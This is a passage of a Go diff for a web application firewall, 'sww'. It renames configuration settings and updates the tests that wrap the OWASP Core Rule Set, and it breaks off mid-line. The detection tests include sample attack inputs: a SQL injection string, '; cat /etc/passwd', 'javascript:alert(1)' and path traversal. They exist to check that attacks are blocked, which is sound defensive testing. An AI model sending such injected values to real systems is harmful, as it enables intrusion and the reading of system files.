-2532,7 +2568,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { func TestCrowdSecKeyIsLoggedMasked(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ crowdSecURL: "http://172.17.0.1:8080", crowdSecKey: token, }) @@ -2555,7 +2591,7 @@ func TestCrowdSecKeyIsLoggedMasked(t *testing.T) { func TestSizesAndOff(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ bytesLimitPerMinute: "3G", bytesLimitPerHour: off, alertCooldown: off, @@ -2575,7 +2611,7 @@ func TestSizesAndOff(t *testing.T) { func TestRateLimitsOff(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ rateLimitPerMinute: off, rateLimitPerHour: off, rateLimitPerDay: off, @@ -2595,7 +2631,7 @@ func TestRateLimitsOff(t *testing.T) { func TestBanResponseCloseIsZero(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{banResponse: "close"}) + cfg := wafFromEnvironment(t, environment{banResponse: "close"}) if cfg.BanResponse != 0 { t.Errorf("close read as %d, want 0", cfg.BanResponse) } @@ -2636,7 +2672,7 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {rateLimitExemptPaths, "/assets/,,/static/"}, {bytesLimitPerMinute, "10GB"}, {bytesLimitPerHour, "0"}, {bytesLimitPerDay, "-1G"}, - {bytesCount, "all"}, {bytesCount, "Both"}, {bytesCount, ""}, + {bytesCounted, "all"}, {bytesCounted, "Both"}, {bytesCounted, ""}, }) } @@ -2649,26 +2685,32 @@ func TestInvalidLookupTagOrLogValueStopsTheStart(t *testing.T) { wantStartStopped(t, []struct{ name, value string }{ {lookupSource, "ipinfo"}, {lookupSource, "GeoJS"}, {lookupSource, ""}, - {lookupTimeout, off}, {lookupTimeout, "0s"}, {lookupTimeout, "1"}, + {asnAndCountryLookupTimeout, off}, {asnAndCountryLookupTimeout, "0"}, + {asnAndCountryLookupTimeout, "800ms"}, {addLookupHeaders, "yes"}, - {allowedCountries, "nk"}, - {allowedCountries, "kp,,ir"}, - {allowedCountries, "prk"}, - {allowedCountries, "408"}, - {allowedCountries, "k"}, - {allowedCountries, "eu"}, - {allowedCountries, "un"}, - {allowedCountries, "su"}, + {allowedCountries, "nk"}, {allowedCountries, "kp,,ir"}, + {allowedCountries, "prk"}, {allowedCountries, "408"}, + {allowedCountries, "k"}, {allowedCountries, "eu"}, + {allowedCountries, "un"}, {allowedCountries, "su"}, {allowedCountries, "ac"}, {allowedCountries, "uk"}, {allowedCountries, "zz"}, {allowedCountries, "de,germany"}, - {asnBytesPercent, "AS14061:50,,AS16276:50"}, - {asnBytesPercent, "ASX:50"}, - {asnBytesPercent, "AS14061:"}, {asnBytesPercent, "AS14061 :50"}, - {asnBytesPercent, "AS14061:1.5"}, {asnBytesPercent, "AS-1:50"}, - {countryBytesPercent, "cn"}, {countryBytesPercent, "cn:"}, - {countryBytesPercent, "cn:25:50"}, {countryBytesPercent, "china:25"}, + {asnBytesLimitPercent, "AS14061:50,,AS16276:50"}, + {asnBytesLimitPercent, "ASX:50"}, + { + asnBytesLimitPercent, + "AS14061:", + }, {asnBytesLimitPercent, "AS14061 :50"}, + { + asnBytesLimitPercent, + "AS14061:1.5", + }, {asnBytesLimitPercent, "AS-1:50"}, + {countryBytesLimitPercent, "cn"}, {countryBytesLimitPercent, "cn:"}, + { + countryBytesLimitPercent, + "cn:25:50", + }, {countryBytesLimitPercent, "china:25"}, {tagDeny, "a,,b"}, {tagDeny, "country=nk"}, {tagDeny, "asn=abc"}, {tagDeny, "asn="}, {tagDeny, "torexit,TOREXIT"}, {tagDeny, "torexti"}, @@ -2694,10 +2736,15 @@ func TestInvalidLookupTagOrLogValueStopsTheStart(t *testing.T) { tagLists, "a=https://example.com/a.txt,b=https://example.com/a.txt", }, - {asnBytesPercent, "AS14061:101"}, {countryBytesPercent, "su:50"}, - {unknownLimitPercent, ""}, {unknownLimitPercent, "-1"}, - {unknownLimitPercent, "50%"}, - {metricsTopN, off}, {metricsTopN, "0"}, {metricsTopN, "-1"}, + { + asnBytesLimitPercent, + "AS14061:101", + }, {countryBytesLimitPercent, "su:50"}, + {unknownCountryLimitPercent, ""}, {unknownCountryLimitPercent, "-1"}, + {unknownCountryLimitPercent, "50%"}, + {metricsBusiestCountriesAndASNs, off}, + {metricsBusiestCountriesAndASNs, "0"}, + {metricsBusiestCountriesAndASNs, "-1"}, {logRequestHeaders, "accept,,origin"}, {logRequestHeaders, "accept;origin"}, {logRequestHeaders, "accept language"}, @@ -2707,7 +2754,7 @@ func TestInvalidLookupTagOrLogValueStopsTheStart(t *testing.T) { {logRequestHeaders, "TRANSFER-ENCODING"}, {logLevel, "INFO"}, {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""}, - {rulesEnabled, "yes"}, {rulesEnabled, "True"}, + {ruleFilesEnabled, "yes"}, {ruleFilesEnabled, "True"}, }) wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t) @@ -2719,9 +2766,9 @@ func TestInvalidLookupTagOrLogValueStopsTheStart(t *testing.T) { func wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t *testing.T) { t.Helper() - for _, name := range []string{wafMode, wafAnomalyThreshold} { - _, err := config.FromEnvironment(environment{ - tagDeny: exploitTag, rulesEnabled: disabled, name: off, + for _, name := range []string{coreRuleSetMode, coreRuleSetScoreThreshold} { + _, err := config.WAFFromEnvironment(environment{ + tagDeny: exploitTag, ruleFilesEnabled: disabled, name: off, }.viper()) if err == nil || !strings.HasPrefix(err.Error(), tagDeny+": ") { t.Errorf( @@ -2745,17 +2792,17 @@ func TestInvalidBanOrStateValueStopsTheStart(t *testing.T) { }, {limitBanDuration, "0s"}, {limitBanDuration, "1"}, {limitBanRepeatWindow, off}, {limitBanRepeatWindow, "-1h"}, { - maxBanDuration, + limitBanPermanentAbove, off, - }, {maxBanDuration, "1w"}, {attackBanDuration, off}, + }, {limitBanPermanentAbove, "1w"}, {attackBanDuration, off}, {maxBans, off}, {maxBans, "0"}, {maxBans, "5K"}, { banScopeV4Prefix, "33", }, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"}, {stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/sww"}, - {stateWriteDelay, off}, {stateWriteDelay, "0s"}, - {stateCounterInterval, off}, {stateCounterInterval, "15"}, + {bansWriteDelay, off}, {bansWriteDelay, "0s"}, + {stateWriteInterval, off}, {stateWriteInterval, "15"}, {cacheDir, ""}, {cacheDir, "cache"}, {cacheDir, "./var/cache/sww"}, }) } @@ -2769,7 +2816,7 @@ func wantStartStopped(t *testing.T, invalid []struct{ name, value string }) { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{tc.name: tc.value}.viper(), ) if err == nil { @@ -2796,7 +2843,7 @@ func TestHostOrTransferEncodingStopsTheStart(t *testing.T) { t.Run(value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{logRequestHeaders: value}.viper(), ) if err == nil || err.Error() != logRequestHeaders+": "+want { @@ -2820,7 +2867,7 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) { t.Run(name+"="+value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{name: value}.viper(), ) @@ -2836,7 +2883,7 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) { func TestTokensAreReadAndLoggedMasked(t *testing.T) { t.Parallel() - cfg := fromEnvironment( + cfg := wafFromEnvironment( t, environment{adminToken: otherToken, metricsToken: token}, ) @@ -2868,7 +2915,7 @@ func TestSettingFromFileLosesOneNewlineAndNoMore(t *testing.T) { token + "\n\n": token + "\n", token + " \n": token + " ", } { - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ metricsToken + "_FILE": writeFile(t, contents), }) if cfg.MetricsToken != want { @@ -2886,7 +2933,7 @@ func TestSettingFromFileLosesOneNewlineAndNoMore(t *testing.T) { func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{ + _, err := config.WAFFromEnvironment(environment{ bytesLimitPerMinute + "_FILE": writeFile(t, "lots\n"), }.viper()) @@ -2895,7 +2942,7 @@ func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) { t.Errorf("error %v, want %s", err, want) } - _, err = config.FromEnvironment(environment{ + _, err = config.WAFFromEnvironment(environment{ logRemoteURL: remoteURL, instanceName: instance, logRemoteAppName + "_FILE": writeFile(t, "my app\n"), @@ -2911,7 +2958,7 @@ func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) { func TestSettingAndItsFileBothSetStopsTheStart(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{ + _, err := config.WAFFromEnvironment(environment{ metricsToken: token, metricsToken + "_FILE": writeFile(t, token), }.viper()) @@ -2929,7 +2976,7 @@ func TestUnreadableSettingFileStopsTheStart(t *testing.T) { dir := t.TempDir() for _, path := range []string{filepath.Join(dir, "missing"), dir} { - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{metricsToken + "_FILE": path}.viper(), ) @@ -2944,7 +2991,7 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) { t.Parallel() path := writeFile(t, token+"\n") - cfg := fromEnvironment(t, environment{metricsToken + "_FILE": path}) + cfg := wafFromEnvironment(t, environment{metricsToken + "_FILE": path}) var out bytes.Buffer @@ -2974,7 +3021,7 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) { func TestRemoteLogCAFileIsNotReadAsAFileInItsTurn(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ logRemoteTLSCAFile + "_FILE": writeFile(t, "/nonexistent/ca.pem\n"), }) if cfg.LogRemoteTLSCAs != nil { @@ -3001,93 +3048,93 @@ func writeFile(t *testing.T, contents string) string { func TestLogsEachSettingWithItsValue(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{rateLimitPerMinute: "45"}) + cfg := wafFromEnvironment(t, environment{rateLimitPerMinute: "45"}) hostname, _ := os.Hostname() want := map[string]string{ - listenAddr: ":8080", - mode: "enforce", - ipv6GroupPrefix: "64", - maxTrackedClients: "20000", - allowNets: "", - rateLimitExemptNets: "", - denyNets: "", - rateLimitPerMinute: "45", - rateLimitPerHour: "1500", - rateLimitPerDay: "6000", - rateLimitExemptPaths: "", - bytesLimitPerMinute: "off", - bytesLimitPerHour: "50G", - bytesLimitPerDay: "100G", - bytesCount: "both", - lookupSource: defaultLookupSource, - lookupDBPath: "", - lookupTimeout: "800ms", - addLookupHeaders: disabled, - allowedCountries: "", - tagLists: "", - tagDeny: "", - tagLimitPercent: "", - asnBytesPercent: "", - countryBytesPercent: "", - unknownLimitPercent: "100", - asnLimitPercentURL: "", - blocklistURLs: "", - blocklistRefresh: "24h", - blocklistAction: actionDeny, - dnsblZones: "", - dnsblResolver: "", - abuseIPDBKey: "", - abuseIPDBMinScore: "75", - abuseIPDBDailyBudget: "900", - reputationAction: "limit:25", - reputationCacheTTL: defaultReputationCacheTTL, - reputationTimeout: "2s", - routeWatchURL: "", - crowdSecURL: "", - crowdSecKey: "", - banResponse: "403", - limitBanDuration: "1h", - limitBanRepeatWindow: "24h", - maxBanDuration: "7d", - attackBanDuration: "7d", - maxBans: "5000", - banScopeV4Prefix: "32", - stateDir: "/var/lib/sww", - stateWriteDelay: "10s", - stateCounterInterval: "15m", - cacheDir: "/var/cache/sww", - adminToken: "", - metricsToken: "", - metricsTopN: "50", - instanceName: hostname, - logRequestHeaders: defaultLogRequestHeaders, - logLevel: "info", - rulesDir: "/etc/sww/rules.d", - rulesEnabled: "true", - wafMode: config.WAFModeBlock, - wafParanoiaLevel: "1", - wafAnomalyThreshold: "5", - wafDisabledRules: defaultWAFDisabledRules, - wafExemptPaths: "", - wafBodyLimit: off, - exclusionsFile: "", - apps: "", // logged as null, which decodes as "" - trapPaths: "", - errorBurstThreshold: "30", - logRemoteURL: "", - logRemoteTLSCAFile: "", - logRemoteBuffer: "10000", - logRemoteFacility: "local0", - logRemoteAppName: hostname, - alertWebhookURL: "", - alertWebhookHeaders: "", - alertSlackWebhookURL: "", - alertNtfyURL: "", - alertNtfyToken: "", - alertEvents: defaultAlertEvents, - alertCooldown: defaultAlertCooldown, - alertMaxPerHour: "60", + listenAddr: ":8080", + mode: "enforce", + ipv6GroupPrefix: "64", + maxTrackedClients: "20000", + allowNets: "", + rateLimitExemptNets: "", + denyNets: "", + rateLimitPerMinute: "45", + rateLimitPerHour: "1500", + rateLimitPerDay: "6000", + rateLimitExemptPaths: "", + bytesLimitPerMinute: "off", + bytesLimitPerHour: "50G", + bytesLimitPerDay: "100G", + bytesCounted: "both", + lookupSource: defaultLookupSource, + lookupDBPath: "", + asnAndCountryLookupTimeout: "800", + addLookupHeaders: disabled, + allowedCountries: "", + tagLists: "", + tagDeny: "", + tagLimitPercent: "", + asnBytesLimitPercent: "", + countryBytesLimitPercent: "", + unknownCountryLimitPercent: "100", + asnLimitPercentURL: "", + blocklistURLs: "", + blocklistRefresh: "24h", + blocklistAction: actionDeny, + dnsblZones: "", + dnsblResolver: "", + abuseIPDBKey: "", + abuseIPDBMinScore: "75", + abuseIPDBDailyBudget: "900", + dnsblAbuseIPDBAction: "limit:25", + ipReputationCacheTTL: defaultIPReputationCacheTTL, + dnsblAbuseIPDBTimeout: "2000", + routeWatchURL: "", + crowdSecURL: "", + crowdSecKey: "", + banResponse: "403", + limitBanDuration: "1h", + limitBanRepeatWindow: "24h", + limitBanPermanentAbove: "7d", + attackBanDuration: "7d", + maxBans: "5000", + banScopeV4Prefix: "32", + stateDir: "/var/lib/sww", + bansWriteDelay: "10s", + stateWriteInterval: "15m", + cacheDir: "/var/cache/sww", + adminToken: "", + metricsToken: "", + metricsBusiestCountriesAndASNs: "50", + instanceName: hostname, + logRequestHeaders: defaultLogRequestHeaders, + logLevel: "info", + ruleFilesDir: "/etc/sww/rules.d", + ruleFilesEnabled: "true", + coreRuleSetMode: config.CoreRuleSetModeBlock, + coreRuleSetParanoiaLevel: "1", + coreRuleSetScoreThreshold: "5", + coreRuleSetDisabledRules: defaultCoreRuleSetDisabledRules, + coreRuleSetExemptPaths: "", + coreRuleSetBodyInspectionSize: off, + exclusionsFile: "", + apps: "", // logged as null, which decodes as "" + trapPaths: "", + refusalsLimitPerMinute: "30", + logRemoteURL: "", + logRemoteTLSCAFile: "", + logRemoteBufferLines: "10000", + logRemoteFacility: "local0", + logRemoteAppName: hostname, + alertWebhookURL: "", + alertWebhookHeaders: "", + alertSlackWebhookURL: "", + alertNtfyURL: "", + alertNtfyToken: "", + alertEvents: defaultAlertEvents, + alertCooldown: defaultAlertCooldown, + alertMaxPerHour: "60", } maps.Copy(want, loggedAnomalyDefaults()) @@ -3097,7 +3144,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { } // loggedSettings returns the settings as cfg logs them, each by its name. -func loggedSettings(t *testing.T, cfg *config.Config) map[string]string { +func loggedSettings(t *testing.T, cfg *config.WAF) map[string]string { t.Helper() var out bytes.Buffer @@ -3118,7 +3165,7 @@ func loggedSettings(t *testing.T, cfg *config.Config) map[string]string { } // wantSettings checks the settings that are plain values. -func wantSettings(t *testing.T, got *config.Config, want config.Config) { +func wantSettings(t *testing.T, got *config.WAF, want config.WAF) { t.Helper() if got.ListenAddr != want.ListenAddr || @@ -3135,25 +3182,25 @@ func wantSettings(t *testing.T, got *config.Config, want config.Config) { // wantByteLimitSettings checks the settings for the byte limits. func wantByteLimitSettings( t *testing.T, - got *config.Config, - want config.Config, + got *config.WAF, + want config.WAF, ) { t.Helper() if got.BytesLimitPerMinute != want.BytesLimitPerMinute || got.BytesLimitPerHour != want.BytesLimitPerHour || got.BytesLimitPerDay != want.BytesLimitPerDay || - got.BytesCount != want.BytesCount { + got.BytesCounted != want.BytesCounted { t.Errorf( "byte limits %d, %d and %d counting %s, want %d, %d and %d counting %s", got.BytesLimitPerMinute, got.BytesLimitPerHour, got.BytesLimitPerDay, - got.BytesCount, + got.BytesCounted, want.BytesLimitPerMinute, want.BytesLimitPerHour, want.BytesLimitPerDay, - want.BytesCount, + want.BytesCounted, ) } } @@ -3161,21 +3208,21 @@ func wantByteLimitSettings( // wantLookupSettings checks the settings for lookups. func wantLookupSettings( t *testing.T, - got *config.Config, - want config.Config, + got *config.WAF, + want config.WAF, ) { t.Helper() if got.LookupSource != want.LookupSource || - got.LookupTimeout != want.LookupTimeout || + got.ASNAndCountryLookupTimeout != want.ASNAndCountryLookupTimeout || got.AddLookupHeaders != want.AddLookupHeaders { t.Errorf( "lookups from %q, waited for %s, headers %t; want %q, %s, %t", got.LookupSource, - got.LookupTimeout, + got.ASNAndCountryLookupTimeout, got.AddLookupHeaders, want.LookupSource, - want.LookupTimeout, + want.ASNAndCountryLookupTimeout, want.AddLookupHeaders, ) } @@ -3183,35 +3230,40 @@ func wantLookupSettings( // wantBanSettings checks the settings for bans, the state and cache // files, the metrics and the rule files. -func wantBanSettings(t *testing.T, got *config.Config, want config.Config) { +func wantBanSettings(t *testing.T, got *config.WAF, want config.WAF) { t.Helper() if got.BanResponse != want.BanResponse || got.LimitBanDuration != want.LimitBanDuration || got.LimitBanRepeatWindow != want.LimitBanRepeatWindow || - got.MaxBanDuration != want.MaxBanDuration || + got.LimitBanPermanentAbove != want.LimitBanPermanentAbove || got.AttackBanDuration != want.AttackBanDuration || got.MaxBans != want.MaxBans || got.BanScopeV4Prefix != want.BanScopeV4Prefix { t.Errorf("ban settings\n%+v\nwant\n%+v", got, want) } - if got.RulesDir != want.RulesDir || - got.RulesEnabled != want.RulesEnabled { - t.Errorf("rule files in %q, on: %t, want %q, %t", - got.RulesDir, got.RulesEnabled, want.RulesDir, want.RulesEnabled) + if got.RuleFilesDir != want.RuleFilesDir || + got.RuleFilesEnabled != want.RuleFilesEnabled { + t.Errorf( + "rule files in %q, on: %t, want %q, %t", + got.RuleFilesDir, + got.RuleFilesEnabled, + want.RuleFilesDir, + want.RuleFilesEnabled, + ) } wantStateSettings(t, got, want) if got.MetricsToken != want.MetricsToken || - got.MetricsTopN != want.MetricsTopN { + got.MetricsBusiestCountriesAndASNs != want.MetricsBusiestCountriesAndASNs { t.Errorf( "metrics token %q and top %d, want %q and %d", got.MetricsToken, - got.MetricsTopN, + got.MetricsBusiestCountriesAndASNs, want.MetricsToken, - want.MetricsTopN, + want.MetricsBusiestCountriesAndASNs, ) } } @@ -3219,14 +3271,14 @@ func wantBanSettings(t *testing.T, got *config.Config, want config.Config) { // wantStateSettings checks the settings for the state and cache files. func wantStateSettings( t *testing.T, - got *config.Config, - want config.Config, + got *config.WAF, + want config.WAF, ) { t.Helper() if got.StateDir != want.StateDir || - got.StateWriteDelay != want.StateWriteDelay || - got.StateCounterInterval != want.StateCounterInterval || + got.BansWriteDelay != want.BansWriteDelay || + got.StateWriteInterval != want.StateWriteInterval || got.CacheDir != want.CacheDir { t.Errorf("state settings\n%+v\nwant\n%+v", got, want) } diff --git a/internal/coreruleset/coreruleset.go b/internal/coreruleset/coreruleset.go index ea590b0..4a3b9ed 100644 --- a/internal/coreruleset/coreruleset.go +++ b/internal/coreruleset/coreruleset.go @@ -1,9 +1,9 @@ // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the // method, the URL with its query and the headers of a request, and on its -// body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the five changes sww -// makes to it, the fixes for the apps SWW_WAF_APPS names, and the exclusions in -// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings" -// in SPEC.md describes them. It reads no response. +// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the +// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names, +// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack +// detection" under "Settings" in SPEC.md describes them. It reads no response. // // sww writes only to its state directory, so Coraza is built with // its no_fs_access tag, as the Dockerfile and script/build build it: of a @@ -34,8 +34,8 @@ import ( // directives are the Core Rule Set as sww runs it, with the // paranoia level for %d, bodyDirectives for the first %s while -// SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second, -// and the directives of every app in apps for the third. +// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for +// the second, and the directives of every app in apps for the third. // Each rule sww adds has an id from 900000 to 900999, the ids the // Core Rule Set keeps for the rules that set it up, which // SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no @@ -43,7 +43,7 @@ import ( // without the spaces at the start of the next. const directives = ` # The engine only detects. sww compares the request's anomaly -# score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode +# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode # alike. It reads no body, unless bodyDirectives switch that on. SecRuleEngine DetectionOnly SecRequestBodyAccess Off @@ -224,9 +224,10 @@ type Params struct { // DisabledRules are the ids of the rules switched off // (SWW_WAF_CORE_RULE_SET_DISABLED_RULES). DisabledRules []int - // BodyLimit is the most of a request body the Core Rule Set reads - // (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none. - BodyLimit int64 + // BodyInspectionSize is the most of a request body the Core Rule Set + // reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off + // and it reads none. + BodyInspectionSize int64 // ExclusionsFile is the path of a file of exclusions loaded before the // Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while // there is none. @@ -336,8 +337,8 @@ func checkExclusions(exclusions string) error { // CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe // for concurrent use. type CoreRuleSet struct { - engine coraza.WAF - bodyLimit int64 + engine coraza.WAF + bodyInspectionSize int64 // appsByHostname are the names of the apps each hostname serves, by // hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset. appsByHostname map[string][]string @@ -345,14 +346,14 @@ type CoreRuleSet struct { // New returns the Core Rule Set with the five changes and the apps' fixes, // at params' paranoia level, without the rules it switches off, reading -// request bodies up to params' limit, and with params' exclusions file -// loaded before the Core Rule Set's rules. An exclusions file is an error -// if it cannot be read or does not parse, or if checkExclusions refuses -// it. +// request bodies up to params' body inspection size, and with params' +// exclusions file loaded before the Core Rule Set's rules. An exclusions +// file is an error if it cannot be read or does not parse, or if +// checkExclusions refuses it. func New(params Params) (*CoreRuleSet, error) { body := "" - if params.BodyLimit > 0 { - body = fmt.Sprintf(bodyDirectives, params.BodyLimit) + if params.BodyInspectionSize > 0 { + body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize) } exclusions := "" @@ -396,9 +397,9 @@ func New(params Params) (*CoreRuleSet, error) { } return &CoreRuleSet{ - engine: engine, - bodyLimit: params.BodyLimit, - appsByHostname: params.Apps, + engine: engine, + bodyInspectionSize: params.BodyInspectionSize, + appsByHostname: params.Apps, }, nil } @@ -481,18 +482,19 @@ func (c *CoreRuleSet) Inspect( } // readBody reads body, the body of the request in tx, which has run on -// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is -// of a kind the Core Rule Set reads: form data and multipart, of which it -// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only -// when they are no longer than that, since they cannot be read in part. -// readBody reads one byte past the limit, to tell which they are, gives -// the Core Rule Set what it reads, and returns what it read and the error -// that ended the reading early, if one did. +// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is +// set and the body is of a kind the Core Rule Set reads: form data and +// multipart, of which it reads the first c.bodyInspectionSize bytes, and +// JSON and XML, which it reads only when they are no longer than that, +// since they cannot be read in part. +// readBody reads one byte past c.bodyInspectionSize, to tell which they +// are, gives the Core Rule Set what it reads, and returns what it read and +// the error that ended the reading early, if one did. func (c *CoreRuleSet) readBody( tx types.Transaction, body io.Reader, ) ([]byte, error) { - if c.bodyLimit == 0 { + if c.bodyInspectionSize == 0 { return nil, nil } @@ -509,9 +511,9 @@ func (c *CoreRuleSet) readBody( return nil, nil } - read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1)) + read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1)) - if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) { + if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) { // Coraza holds what it reads of the body in memory, up to the // limit, so this cannot fail. _, _, _ = tx.WriteRequestBody(read) diff --git a/internal/coreruleset/coreruleset_test.go b/internal/coreruleset/coreruleset_test.go index 782241d..e16e4bf 100644 --- a/internal/coreruleset/coreruleset_test.go +++ b/internal/coreruleset/coreruleset_test.go @@ -1089,7 +1089,8 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) { const workers, perBody = 16, 10 crs, err := loaderFor(coreruleset.Params{ - ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, + BodyInspectionSize: bodyInspectionSize, })() if err != nil { return nil, err @@ -1166,15 +1167,18 @@ func misfiringPasswords(t *testing.T) []string { func wantRandomPasswordsPass(t *testing.T, r request, name string) { t.Helper() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default crs := readingBodies(t) misfiring := misfiringPasswords(t) names := []string{name} body := passwordBody(t, r, names, misfiring...) - if len(body) > bodyLimit { - t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body)) + if len(body) > bodyInspectionSize { + t.Fatalf( + "a body of %d bytes is cut at bodyInspectionSize", + len(body), + ) } if got, _ := inspectBody(t, crs, r, body); got.Score < threshold { @@ -1197,7 +1201,7 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) { func wantPasswordAttacksPass(t *testing.T, r request, names ...string) { t.Helper() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default for _, attack := range []string{ "' OR '1'='1", pathTraversal, "; cat /etc/passwd", @@ -1217,7 +1221,7 @@ func wantPasswordAttacksPass(t *testing.T, r request, names ...string) { func wantPasswordAttacksRefused(t *testing.T, r request, name string) { t.Helper() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default for _, attack := range []string{scriptTag, "javascript:alert(1)"} { body := passwordBody(t, r, []string{name}, attack) @@ -1307,7 +1311,7 @@ func TestGiteaPasswordsPass(t *testing.T) { func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default crs := readingBodies(t) @@ -1364,7 +1368,7 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) { func TestPasswordExclusionsAreNarrow(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default crs := readingBodies(t) @@ -1400,7 +1404,7 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) { func TestGiteaAttacksAreRefused(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default crs := atDefaults(t) @@ -1480,7 +1484,7 @@ func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough( } // A command after a ";" in q is still refused on each of these paths. - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default for _, target := range []string{ "/alice?tab=repositories&q=", @@ -1505,12 +1509,12 @@ const ( ) // readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default, -// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT. +// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE. func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet { t.Helper() return shared(t, coreruleset.Params{ - ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1, + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: 64<<10 - 1, }) } @@ -1572,7 +1576,7 @@ func wordpressAttackTargets(attack string) []string { func TestWordPressAttacksAreRefused(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t) @@ -2310,8 +2314,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) { wantBody(t, crs, signIn, body, matched(930120), body) } -// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies. -const bodyLimit = 8 << 